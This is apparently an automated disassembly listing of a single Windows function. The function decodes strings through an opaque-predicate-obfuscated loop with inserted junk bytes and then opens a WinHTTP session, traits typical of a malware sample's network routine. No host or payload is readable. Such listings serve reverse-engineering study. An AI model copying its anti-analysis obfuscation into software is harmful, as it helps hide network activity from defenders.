Function at 0x100f07f0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101419dc
mov eax, dword fs:[0]
push eax
sub esp, 0x318
mov eax, dword [0x1017b074]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movups xmm0, xmmword [0x101446b8]
mov eax, dword [ebp + 8]
mov dword [ebp - 0xa4], eax
mov eax, dword [ebp + 0xc]
movups xmmword [ebp - 0x1ec], xmm0
mov dword [ebp - 0xc8], eax
movups xmm0, xmmword [0x101446c8]
mov eax, dword [0x101446d8]
mov dword [ebp - 0x1cc], eax
movups xmmword [ebp - 0x1dc], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x11
movsd xmm0, qword [0x10144890]
movsd qword [ebp - 0xc0], xmm0
movsd xmm0, qword [0x10144898]
movsd qword [ebp - 0x104], xmm0
movsd xmm0, qword [0x101448a0]
movsd qword [ebp - 0x10c], xmm0
jae 0x100f1584
call fcn.100fb5a0
movsx ecx, al
mov dword [ebp - 0x60], ecx
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x54], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x58], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x5c], esi
call fcn.100fb5c0
movsd xmm0, qword [0x10144888]
movsx edi, al
lea eax, [esi + esi*8]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], eax
movsd qword [ebp - 0x74], xmm0
nop dword [eax]
movsx eax, byte [0x1017b440]
imul eax, ecx
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0af3
xor eax, eax
je 0x100f0918
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bb44d], cl
mov al, 3
iretd
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x50]
add ecx, edi
mov dword [ebp - 0xd0], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f09ae
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f09ae
mov eax, dword [ebp - 0x5c]
add eax, edi
mov dword [ebp - 0xa0], 3
mov dword [ebp - 0xb8], eax
jmp 0x100f0a26
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0xb8], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0a26
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
xor eax, eax
je 0x100f0a2b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd0]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0bd9
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0bd9
mov dword [ebp - 0xb4], 3
mov edi, dword [ebp - 0x50]
mov esi, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
and ax, word [ebp - 0xb4]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
sub ax, cx
add ax, word [ebp - 0xa0]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x1ea], cx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi*8]
add eax, ecx
xor edx, edx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f12f7
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0e03
xor eax, eax
je 0x100f0b3e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bb44d], cl
mov al, 3
iretd
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x50]
add ecx, edi
mov dword [ebp - 0xd0], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0c58
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0c58
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x7c], 3
add eax, edi
jmp 0x100f0ccd
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xb8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0ab2
mov esi, dword [ebp - 0x5c]
xor edx, edx
mov edi, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
jmp 0x100f0ab8
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x64], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0cd0
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x64], eax
xor eax, eax
je 0x100f0cd5
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd0]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0d8e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0d8e
mov dword [ebp - 0x78], 3
mov edi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
and ax, word [ebp - 0x78]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
sub ax, cx
add ax, word [ebp - 0x7c]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x1ea], cx
jmp 0x100f0e09
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0d54
mov edx, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
jmp 0x100f0d57
lea eax, [edi + esi]
mov dword [ebp - 0x64], eax
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x4c]
add eax, edi
mov dword [ebp - 0x68], eax
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0fef
xor eax, eax
je 0x100f0e38
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0eb9
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f0eb9
mov dword [ebp - 0x84], 3
jmp 0x100f0f2b
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0f2b
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
xor eax, eax
je 0x100f0f30
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f10c5
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f10c5
mov dword [ebp - 0x80], 3
mov edi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
and ax, word [ebp - 0x80]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
sub ax, cx
add ax, word [ebp - 0x84]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x1ea], cx
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f12f7
mov eax, dword [ebp - 0x48]
add eax, 0x7d
mov dword [ebp - 0xd0], eax
xor eax, eax
je 0x100f1031
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xd0]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f113e
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f113e
mov dword [ebp - 0x8c], 3
jmp 0x100f11b0
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f0fb4
mov edx, dword [ebp - 0x5c]
mov edi, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
jmp 0x100f0fb7
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f11b0
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7d
mov dword [ebp - 0xd0], eax
xor eax, eax
je 0x100f11c1
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xd0]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f124a
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f124a
mov dword [ebp - 0x88], 3
jmp 0x100f12bc
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x64]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f12bc
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
and ax, word [ebp - 0x88]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
sub ax, cx
add ax, word [ebp - 0x8c]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x1ea], cx
movsx eax, byte [0x1017b440]
imul eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x54]
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f156a
xor eax, eax
je 0x100f1321
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bb44d], cl
mov al, 3
iretd
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x50]
add ecx, edi
mov dword [ebp - 0xd0], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f13b4
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f13b4
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x94], 3
add eax, edi
jmp 0x100f142c
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x68], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f142f
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x68], eax
xor eax, eax
je 0x100f1434
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd0]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f14ba
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, edx
add ecx, dword [ebp - 0x58]
add eax, ecx
je 0x100f14ba
mov dword [ebp - 0x90], 3
jmp 0x100f152f
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f152c
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x50]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
and ax, word [ebp - 0x90]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x1ea]
sub ax, cx
add ax, word [ebp - 0x94]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x1ea], cx
mov eax, dword [ebp - 0x48]
mov esi, dword [ebp - 0x5c]
inc eax
mov edi, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x11
jb 0x100f08f0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1ea]
mov byte [ebp - 0x1ec], 1
push eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov dword [ebp - 0xd0], eax
test eax, eax
je 0x100fa7b9
movups xmm0, xmmword [0x101446dc]
mov ax, word [0x1014470c]
mov word [ebp - 0x218], ax
movups xmmword [ebp - 0x248], xmm0
movups xmm0, xmmword [0x101446ec]
movups xmmword [ebp - 0x238], xmm0
movups xmm0, xmmword [0x101446fc]
movups xmmword [ebp - 0x228], xmm0
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x18
movsd xmm0, qword [0x101448a8]
movsd qword [ebp - 0x120], xmm0
jae 0x100f2291
call fcn.100fb5a0
movsx ecx, al
mov dword [ebp - 0x5c], ecx
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x54], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x60], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x50], esi
call fcn.100fb5c0
movsx edi, al
lea eax, [esi + esi*8]
mov dword [ebp - 0x58], edi
mov dword [ebp - 0xb8], eax
movsx eax, byte [0x1017b440]
imul eax, ecx
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f1854
xor eax, eax
je 0x100f1679
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx - 0xb773], cl
dec dword [ebx - 0x30fc5783]
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0xb8]
mov edi, dword [ebp - 0x58]
add ecx, edi
mov dword [ebp - 0xc4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f170f
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f170f
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x90], 3
add eax, edi
jmp 0x100f1784
mov esi, dword [ebp - 0x50]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f1787
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f178c
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0xc0]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xc4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f193a
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x60]
add eax, ecx
je 0x100f193a
mov dword [ebp - 0x94], 3
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
and ax, word [ebp - 0x94]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x246]
sub ax, cx
add ax, word [ebp - 0x90]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x246], cx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi*8]
add eax, ecx
xor edx, edx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f2007
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
